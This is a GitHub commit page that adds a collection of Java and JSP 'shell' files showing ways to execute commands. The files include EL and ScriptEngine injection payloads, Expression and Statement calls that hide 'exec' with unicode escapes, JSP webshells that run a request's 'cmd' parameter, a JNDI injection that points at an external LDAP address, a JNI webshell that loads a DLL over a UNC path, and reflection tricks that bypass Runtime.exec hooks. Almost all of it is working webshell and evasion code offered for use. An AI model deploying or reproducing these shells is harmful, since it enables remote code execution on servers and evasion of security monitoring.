Skip to content

Commit 58dfcb9

Browse files
FirebaskyFirebasky
authored
Add files via upload
1 parent 3b61b9c commit 58dfcb9

12 files changed

Lines changed: 261 additions & 0 deletions

File tree

‎shell/EL/test.java‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
package shell.EL;
2+
3+
import javax.el.ELProcessor;
4+
5+
public class test {
6+
public static void main(String[] args) throws Exception {
7+
String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";
8+
9+
String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
10+
".newInstance().getEngineByName('nashorn')" +
11+
".eval(\"s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
12+
13+
ELeval(payload);
14+
}
15+
16+
public static void ELeval(String payload){
17+
ELProcessor elProcessor = new ELProcessor();
18+
try {
19+
elProcessor.eval(payload);
20+
} catch (Exception e) {
21+
e.printStackTrace();
22+
}
23+
}
24+
}

‎shell/Expression/test.java‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
package shell.Expression;
2+
3+
import java.beans.Expression;
4+
5+
public class test {
6+
public static void main(String[] args) {
7+
String payload ="calc";
8+
Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
9+
try {
10+
expression.getValue();
11+
} catch (Exception e) {
12+
e.printStackTrace();
13+
}
14+
}
15+
}

‎shell/Expression/test.jsp‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<%@ page import="java.beans.Expression"%>
2+
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
3+
<%
4+
String payload =request.getParameter("cmd");
5+
Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
6+
%>

‎shell/JNDI/test.java‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
package shell.JNDI;
2+
3+
import com.sun.rowset.JdbcRowSetImpl;
4+
5+
public class test {
6+
public static void main(String[] args) {
7+
String payload = "ldap://1.116.136.120:8888/test";//可使用LdapBypassJndi工具
8+
// String payload = "ldap://127.0.0.1:1399/test";
9+
try {
10+
Jndieval(payload);
11+
} catch (Exception e) {
12+
e.printStackTrace();
13+
}
14+
}
15+
public static void Jndieval(String payload) throws Exception{
16+
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");//绕过jdk191+
17+
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
18+
jdbcRowSet.setDataSourceName(payload);//设置exp，通过getDataSourceName获得
19+
jdbcRowSet.setAutoCommit(true);//调用connect()
20+
}
21+
}

‎shell/JNI/CommandExecution.java‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
package shell.JNI;
2+
3+
public class CommandExecution {
4+
5+
// public static native String exec(String cmd);
6+
7+
public static void main(String[] args) {
8+
System.setProperty("java.library.path","D:/library");
9+
System.out.println(System.getProperty("java.library.path"));
10+
}
11+
}

‎shell/JNI/test.jsp‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
2+
<%! class Jni{
3+
static {
4+
System.loadLibrary("\\\\127.0.0.1\\cmd.dll");
5+
}
6+
public native String exec(String cmd);
7+
}
8+
%><%
9+
String cmd =request.getParameter("cmd");
10+
Jni jni = new Jni();
11+
String res = jni.exec(cmd);
12+
out.println(res);
13+
%>

‎shell/Jshell/test.java‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
//package shell.Jshell;
2+
//import jdk.jshell.JShell;
3+
//
4+
//public class test {
5+
// public static void main(String[] args) {
6+
// Jshell("calc");
7+
// }
8+
// public static void Jshell(String cmd){
9+
// try {
10+
// JShell.builder().build().eval(cmd);
11+
// } catch (IllegalStateException e) {
12+
// e.printStackTrace();
13+
// }
14+
// }
15+
//}

‎shell/ScriptEngineManager/test.java‎

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
package shell.ScriptEngineManager;
2+
3+
import javax.script.ScriptEngine;
4+
import javax.script.ScriptEngineManager;
5+
6+
public class test {
7+
public static void main(String[] args) throws Exception{
8+
String test = "print('hello word!!');";
9+
String payload1 = "java.lang.Runtime.getRuntime().exec('calc');";
10+
String payload2 = "var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();};";
11+
String payload3 = "var a=exp();function exp(){java.lang./****/Runtime./***/getRuntime().exec(\"calc\")};";
12+
String payload4 = "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065.getRuntime().exec(\"calc\");";
13+
String payload5 = "var a= Java.type(\"java.lang\"+\".Runtime\"); var b =a.getRuntime();b.exec(\"calc\");";
14+
String payload6 = "load(\"nashorn:mozilla_compat.js\");importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"calc\");";
15+
//兼容Rhino功能 https://blog.csdn.net/u013292493/article/details/51020057
16+
String payload7 = "var a =JavaImporter(java.lang); with(a){ var b=Runtime.getRuntime().exec(\"calc\");}";
17+
String payload8 = "var scr = document.createElement(\"script\");scr.src = \"http://127.0.0.1:8082/js.js\";document.body.appendChild(scr);exec();";
18+
eval(payload1);
19+
}
20+
public static void eval(String payload){
21+
payload=payload;
22+
ScriptEngineManager manager = new ScriptEngineManager(null);
23+
ScriptEngine engine = manager.getEngineByName("js");
24+
try {
25+
engine.eval(payload);
26+
} catch (Exception e) {
27+
e.printStackTrace();
28+
}
29+
}
30+
}

‎shell/bypass/test.java‎

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
package shell.bypass;
2+
3+
import java.io.BufferedReader;
4+
import java.io.InputStreamReader;
5+
import java.lang.reflect.Method;
6+
import java.util.Map;
7+
8+
public class test {
9+
public static void main(String[] args) {
10+
try {
11+
bypass(new String[]{"ipconfig"});
12+
} catch (Exception e) {
13+
e.printStackTrace();
14+
}
15+
}
16+
public static void bypass(String[] cmd) throws Exception{
17+
Map<String,String> envblock=null;
18+
String path=null;
19+
ProcessBuilder.Redirect[] stdHandles=null;
20+
boolean redirectErrorStream=true;
21+
22+
Class C = Class.forName("java.lang.ProcessImpl");
23+
Method start = C.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
24+
start.setAccessible(true);
25+
Process e = (Process) start.invoke(null, cmd, envblock, path, stdHandles, redirectErrorStream);
26+
27+
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(e.getInputStream()));
28+
String line;
29+
while ((line=bufferedReader.readLine())!=null){
30+
System.out.println(line);
31+
}
32+
bufferedReader.close();
33+
}
34+
}

‎shell/bypass/test2.java‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
package shell.bypass;
2+
3+
import java.beans.Statement;
4+
5+
public class test2 {
6+
public static void main(String[] args) {
7+
String payload ="calc";
8+
Statement statement = new Statement(Runtime.getRuntime(), "\u0065" + "\u0078" + "\u0065" + "\u0063", new Object[]{payload});
9+
try {
10+
statement.execute();
11+
} catch (Exception e) {
12+
e.printStackTrace();
13+
}
14+
}
15+
}
16+

0 commit comments

Comments
 (0)